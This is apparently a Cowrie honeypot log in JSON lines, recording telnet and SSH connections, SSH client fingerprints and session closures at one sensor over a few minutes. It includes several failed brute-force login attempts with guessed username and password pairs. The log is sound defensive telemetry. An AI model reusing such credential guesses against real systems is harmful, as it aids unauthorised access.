{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":34824,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f3b4177c3de","protocol":"telnet","message":"New connection: 104.245.105.2:34824 (10.17.0.5:23) [session: 8f3b4177c3de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:59:36.782132Z"}
{"eventid":"cowrie.session.closed","duration":3.1503920555114746,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:59:39.932596Z","src_ip":"104.245.105.2","session":"8f3b4177c3de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":41074,"dst_ip":"10.17.0.5","dst_port":23,"session":"d838a46117d2","protocol":"telnet","message":"New connection: 20.123.41.163:41074 (10.17.0.5:23) [session: d838a46117d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:59:40.836646Z"}
{"eventid":"cowrie.session.closed","duration":58.482677698135376,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:59:43.095436Z","src_ip":"20.123.41.163","session":"6cebdeb697c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.393779993057251,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:59:46.230110Z","src_ip":"20.123.41.163","session":"d838a46117d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00222897529602,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:59:47.139351Z","src_ip":"64.41.88.162","session":"2344250a70c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":34840,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7fe2abf2eb0","protocol":"telnet","message":"New connection: 20.123.41.163:34840 (10.17.0.5:23) [session: c7fe2abf2eb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:59:55.195015Z"}
{"eventid":"cowrie.session.closed","duration":120.00205159187317,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:59:56.457781Z","src_ip":"64.41.88.162","session":"71d994ae2ba1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.486399173736572,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:00:01.681275Z","src_ip":"20.123.41.163","session":"c7fe2abf2eb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.24374532699585,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:00:05.689591Z","src_ip":"104.245.105.2","session":"0e208b05af52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.66993856430054,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:00:13.129119Z","src_ip":"20.123.41.163","session":"ecb53fde05a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":34548,"dst_ip":"159.203.135.109","dst_port":23,"session":"7eda0a553dde","protocol":"telnet","message":"New connection: 64.41.88.162:34548 (159.203.135.109:23) [session: 7eda0a553dde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:00:14.374112Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.41.88.162","src_port":34758,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9932d519d59","protocol":"telnet","message":"New connection: 64.41.88.162:34758 (159.203.135.109:23) [session: d9932d519d59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:00:15.543021Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":52102,"dst_ip":"10.17.0.5","dst_port":23,"session":"1725da76bf92","protocol":"telnet","message":"New connection: 20.123.41.163:52102 (10.17.0.5:23) [session: 1725da76bf92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:00:22.946635Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.168.47","src_port":43058,"dst_ip":"10.17.0.5","dst_port":22,"session":"24796e22627d","protocol":"ssh","message":"New connection: 182.253.168.47:43058 (10.17.0.5:22) [session: 24796e22627d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:00:29.118245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:00:29.123720Z","src_ip":"182.253.168.47","session":"24796e22627d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:00:29.408380Z","src_ip":"182.253.168.47","session":"24796e22627d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.22404098510742,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:00:29.453881Z","src_ip":"20.123.41.163","session":"aa6652354b47","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test1","password":"Password1","message":"login attempt [test1/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:00:33.359231Z","src_ip":"182.253.168.47","session":"24796e22627d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":60946,"dst_ip":"10.17.0.5","dst_port":23,"session":"3946e045af10","protocol":"telnet","message":"New connection: 20.123.41.163:60946 (10.17.0.5:23) [session: 3946e045af10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:00:34.357946Z"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:00:34.996784Z","src_ip":"182.253.168.47","session":"24796e22627d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.185688018798828,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:00:38.543463Z","src_ip":"20.123.41.163","session":"3946e045af10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.145.252.179","src_port":42274,"dst_ip":"10.17.0.5","dst_port":23,"session":"21f74c60bb44","protocol":"telnet","message":"New connection: 185.145.252.179:42274 (10.17.0.5:23) [session: 21f74c60bb44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:00:47.969496Z"}
{"eventid":"cowrie.session.closed","duration":120.00154066085815,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:01:02.979957Z","src_ip":"64.41.88.162","session":"bf37fcc8424a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00321936607361,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:01:07.402538Z","src_ip":"88.165.22.20","session":"05c27000ba9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.241738080978394,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:01:13.188217Z","src_ip":"20.123.41.163","session":"1725da76bf92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":50884,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b482c8ee0f9","protocol":"telnet","message":"New connection: 20.123.41.163:50884 (10.17.0.5:23) [session: 0b482c8ee0f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:01:15.224958Z"}
{"eventid":"cowrie.session.closed","duration":30.739587545394897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:01:18.708955Z","src_ip":"185.145.252.179","session":"21f74c60bb44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.0803382396698,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:01:25.305121Z","src_ip":"20.123.41.163","session":"0b482c8ee0f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":36912,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2271b15a20d","protocol":"telnet","message":"New connection: 20.123.41.163:36912 (10.17.0.5:23) [session: c2271b15a20d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:01:25.333930Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.168.47","src_port":59812,"dst_ip":"10.17.0.5","dst_port":22,"session":"38161f39a16b","protocol":"ssh","message":"New connection: 182.253.168.47:59812 (10.17.0.5:22) [session: 38161f39a16b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:01:30.897166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:01:30.903740Z","src_ip":"182.253.168.47","session":"38161f39a16b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:01:31.182441Z","src_ip":"182.253.168.47","session":"38161f39a16b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"asas","message":"login attempt [admin/asas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:01:32.330379Z","src_ip":"182.253.168.47","session":"38161f39a16b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:01:33.613328Z","src_ip":"182.253.168.47","session":"38161f39a16b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":16315,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb511f2302c0","protocol":"ssh","message":"New connection: 2.57.121.112:16315 (159.203.135.109:22) [session: fb511f2302c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:01:42.571687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:01:42.575875Z","src_ip":"2.57.121.112","session":"fb511f2302c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:01:42.679577Z","src_ip":"2.57.121.112","session":"fb511f2302c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"16021998","message":"login attempt [admin/16021998] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:01:43.167594Z","src_ip":"2.57.121.112","session":"fb511f2302c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"16021965","message":"login attempt [admin/16021965] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:01:44.275102Z","src_ip":"2.57.121.112","session":"fb511f2302c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"160179","message":"login attempt [admin/160179] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:01:45.382037Z","src_ip":"2.57.121.112","session":"fb511f2302c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1601","message":"login attempt [admin/1601] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:01:46.489138Z","src_ip":"2.57.121.112","session":"fb511f2302c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"15995","message":"login attempt [admin/15995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:01:47.596509Z","src_ip":"2.57.121.112","session":"fb511f2302c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:01:48.708076Z","src_ip":"2.57.121.112","session":"fb511f2302c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":47490,"dst_ip":"10.17.0.5","dst_port":23,"session":"0059dc3121c5","protocol":"telnet","message":"New connection: 20.123.41.163:47490 (10.17.0.5:23) [session: 0059dc3121c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:01:50.799069Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":47494,"dst_ip":"10.17.0.5","dst_port":23,"session":"d12c5b7d31b3","protocol":"telnet","message":"New connection: 20.123.41.163:47494 (10.17.0.5:23) [session: d12c5b7d31b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:01:51.627770Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":43014,"dst_ip":"10.17.0.5","dst_port":23,"session":"8aa36c14afd3","protocol":"telnet","message":"New connection: 104.245.105.2:43014 (10.17.0.5:23) [session: 8aa36c14afd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:01:52.749400Z"}
{"eventid":"cowrie.session.closed","duration":5.0911338329315186,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:01:55.890096Z","src_ip":"20.123.41.163","session":"0059dc3121c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.451085567474365,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:01:58.078763Z","src_ip":"20.123.41.163","session":"d12c5b7d31b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.29791736602783,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:02:13.631734Z","src_ip":"20.123.41.163","session":"c2271b15a20d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00204157829285,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:02:14.376028Z","src_ip":"64.41.88.162","session":"7eda0a553dde","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":43470,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e138f1b5115","protocol":"telnet","message":"New connection: 20.123.41.163:43470 (10.17.0.5:23) [session: 0e138f1b5115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:02:15.470904Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":43482,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d0804631596","protocol":"telnet","message":"New connection: 20.123.41.163:43482 (10.17.0.5:23) [session: 8d0804631596]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:02:15.528352Z"}
{"eventid":"cowrie.session.closed","duration":120.00208020210266,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:02:15.545006Z","src_ip":"64.41.88.162","session":"d9932d519d59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.805034160614014,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:02:22.333258Z","src_ip":"20.123.41.163","session":"8d0804631596","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.63566303253174,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:02:24.384966Z","src_ip":"104.245.105.2","session":"8aa36c14afd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.168.47","src_port":48344,"dst_ip":"10.17.0.5","dst_port":22,"session":"73c57093d6a6","protocol":"ssh","message":"New connection: 182.253.168.47:48344 (10.17.0.5:22) [session: 73c57093d6a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:02:33.043840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:02:33.048476Z","src_ip":"182.253.168.47","session":"73c57093d6a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:02:35.017908Z","src_ip":"182.253.168.47","session":"73c57093d6a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"369369","message":"login attempt [admin/369369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:02:36.562961Z","src_ip":"182.253.168.47","session":"73c57093d6a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:02:37.849533Z","src_ip":"182.253.168.47","session":"73c57093d6a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":41714,"dst_ip":"10.17.0.5","dst_port":23,"session":"49c04f22ba1d","protocol":"telnet","message":"New connection: 20.123.41.163:41714 (10.17.0.5:23) [session: 49c04f22ba1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:02:42.739639Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":41722,"dst_ip":"10.17.0.5","dst_port":23,"session":"d38369eb9c55","protocol":"telnet","message":"New connection: 20.123.41.163:41722 (10.17.0.5:23) [session: d38369eb9c55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:02:47.058802Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.205.172.170","src_port":35438,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d4cb0412369","protocol":"ssh","message":"New connection: 88.205.172.170:35438 (10.17.0.5:22) [session: 3d4cb0412369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:02:49.300719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:02:49.319005Z","src_ip":"88.205.172.170","session":"3d4cb0412369","protocol":"ssh"}
